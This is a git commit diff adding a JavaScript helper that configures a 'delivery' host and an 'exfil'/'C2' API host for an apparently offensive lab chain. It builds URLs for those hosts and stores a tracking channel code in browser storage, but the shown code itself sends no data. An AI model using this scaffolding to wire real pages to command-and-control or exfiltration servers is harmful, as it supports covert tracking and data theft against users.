feat: ds

2026-08-24 06:23:07 +08:00
parent c00396dc1f
commit db574cc629
114 changed files with 108297 additions and 266 deletions
@@ -0,0 +1,179 @@
+// Delivery = static assets (__LAB_DELIVERY_HOST__, may include a path).
+// API / C2 = __LAB_EXFIL__ (host + ports only, no asset path).
+(function (g) {
+  if (!g) return;
+
+  function trimSlash(s) {
+    return String(s || "").replace(/\/+$/, "");
+  }
+
+  function ensureSlashPath(p) {
+    p = String(p || "");
+    if (!p) return "";
+    return p.charAt(0) === "/" ? p : "/" + p;
+  }
+
+  function joinBase(base, path) {
+    base = trimSlash(base);
+    path = String(path || "");
+    if (!path) return base;
+    if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(path)) return path;
+    if (path.charAt(0) !== "/") path = "/" + path;
+    return base + path;
+  }
+
+  function hostOnly(raw) {
+    return String(raw || "")
+      .replace(/^https?:\/\//, "")
+      .split("/")[0]
+      .split(":")[0];
+  }
+
+  function defaultExfil() {
+    var domain = hostOnly(g.__LAB_EXFIL_DOMAIN__);
+    return {
+      host: domain,
+      domain: domain,
+      http_port: 443,
+      https_port: 443,
+      tls: false,
+      prefer_https: false,
+      stats_url: "",
+      stats_url_direct: "",
+      delivery_stats_url: "",
+    };
+  }
+
+  function inferDeliveryHost() {
+    try {
+      if (g.__LAB_DELIVERY_HOST__) return trimSlash(g.__LAB_DELIVERY_HOST__);
+    } catch (e0) {}
+    try {
+      var path = g.location && g.location.pathname ? String(g.location.pathname) : "";
+      var chained = path.match(/^(.*\/next-chain)(?:\/|$)/);
+      if (chained && g.location.origin && g.location.origin !== "null") {
+        return trimSlash(g.location.origin) + chained[1];
+      }
+    } catch (eBoot) {}
+    try {
+      var cfg = g.NEWS2_CONFIG || {};
+      if (cfg.deliveryHost) return trimSlash(cfg.deliveryHost);
+      if (cfg.deliveryPath) {
+        var originFromCfg = g.location && g.location.origin ? trimSlash(g.location.origin) : "";
+        return trimSlash(originFromCfg + ensureSlashPath(cfg.deliveryPath));
+      }
+    } catch (e1) {}
+    try {
+      if (!g.location || !g.location.origin || g.location.origin === "null") return "";
+      var origin = trimSlash(g.location.origin);
+      var path = String(g.location.pathname || "/");
+      var m = path.match(/^(.*\/next-chain)(?:\/|$)/);
+      if (m) return origin + m[1];
+      return origin;
+    } catch (e2) {}
+    return "";
+  }
+
+  function applyExfil(ex) {
+    var cur = g.__LAB_EXFIL__ && g.__LAB_EXFIL__.host ? g.__LAB_EXFIL__ : defaultExfil();
+    if (!ex || !ex.host) return cur;
+    g.__LAB_EXFIL__ = {
+      host: hostOnly(ex.host) || cur.host,
+      domain: hostOnly(ex.domain || ex.host) || cur.domain,
+      http_port: ex.http_port != null ? Number(ex.http_port) : cur.http_port,
+      https_port: ex.https_port != null ? Number(ex.https_port) : cur.https_port,
+      tls: ex.tls != null ? !!ex.tls : !!cur.tls,
+      prefer_https: ex.prefer_https != null ? !!ex.prefer_https : !!cur.prefer_https,
+      stats_url: ex.stats_url || cur.stats_url || "",
+      stats_url_direct: ex.stats_url_direct || cur.stats_url_direct || "",
+      delivery_stats_url: ex.delivery_stats_url || cur.delivery_stats_url || "",
+    };
+    return g.__LAB_EXFIL__;
+  }
+
+  function apiOrigin(ex) {
+    ex = ex || g.__LAB_EXFIL__ || defaultExfil();
+    var host = hostOnly(ex.host);
+    var tls = !!(ex.tls || ex.prefer_https);
+    var port = Number(tls ? ex.https_port || 443 : ex.http_port || 80);
+    var scheme = tls ? "https" : "http";
+    var origin = scheme + "://" + host;
+    if (!((scheme === "https" && port === 443) || (scheme === "http" && port === 80) || !port)) {
+      origin += ":" + port;
+    }
+    return origin;
+  }
+
+  function ensureHosts() {
+    if (!g.__LAB_EXFIL__ || !g.__LAB_EXFIL__.host) g.__LAB_EXFIL__ = defaultExfil();
+    var d = inferDeliveryHost();
+    if (d) g.__LAB_DELIVERY_HOST__ = d;
+    return { delivery: g.__LAB_DELIVERY_HOST__ || "", exfil: g.__LAB_EXFIL__ };
+  }
+
+  function applyNews2Config() {
+    var cfg = g.NEWS2_CONFIG || {};
+    if (cfg.deliveryHost) {
+      g.__LAB_DELIVERY_HOST__ = trimSlash(cfg.deliveryHost);
+    } else if (cfg.deliveryPath) {
+      try {
+        g.__LAB_DELIVERY_HOST__ = trimSlash(trimSlash(g.location.origin) + ensureSlashPath(cfg.deliveryPath));
+      } catch (e) {}
+    }
+    if (cfg.exfil) applyExfil(cfg.exfil);
+    ensureHosts();
+  }
+
+  g.labTrimSlash = trimSlash;
+  g.labJoinBase = joinBase;
+  g.labInferDeliveryHost = inferDeliveryHost;
+  g.labDeliveryHost = function () {
+    ensureHosts();
+    return trimSlash(g.__LAB_DELIVERY_HOST__ || "");
+  };
+  g.labDeliveryUrl = function (path) {
+    return joinBase(g.labDeliveryHost(), path);
+  };
+  g.labApiOrigin = function () {
+    ensureHosts();
+    return apiOrigin(g.__LAB_EXFIL__);
+  };
+  g.labApiUrl = function (path) {
+    return joinBase(g.labApiOrigin(), path);
+  };
+  g.labApplyExfil = applyExfil;
+  g.labEnsureHosts = ensureHosts;
+  g.labApplyNews2Config = applyNews2Config;
+
+  function persistChannelCode(code) {
+    code = String(code || "").trim().slice(0, 64);
+    if (!code) return "";
+    g.__LAB_CHANNEL_CODE__ = code;
+    try {
+      if (g.sessionStorage) g.sessionStorage.setItem("lab_channel_code", code);
+    } catch (e0) {}
+    try {
+      if (g.localStorage) g.localStorage.setItem("lab_channel_code", code);
+    } catch (e1) {}
+    return code;
+  }
+
+  function readChannelCode() {
+    try {
+      var path = (g.location && g.location.pathname) || "";
+      var m = String(path).match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
+      if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
+    } catch (e3) {}
+    return "";
+  }
+
+  g.labChannelCode = function () {
+    if (g.__LAB_CHANNEL_CODE__) return String(g.__LAB_CHANNEL_CODE__);
+    return readChannelCode();
+  };
+
+  ensureHosts();
+  try {
+    g.labChannelCode();
+  } catch (eCh) {}
+})(typeof window !== "undefined" ? window : typeof globalThis !== "undefined" ? globalThis : null);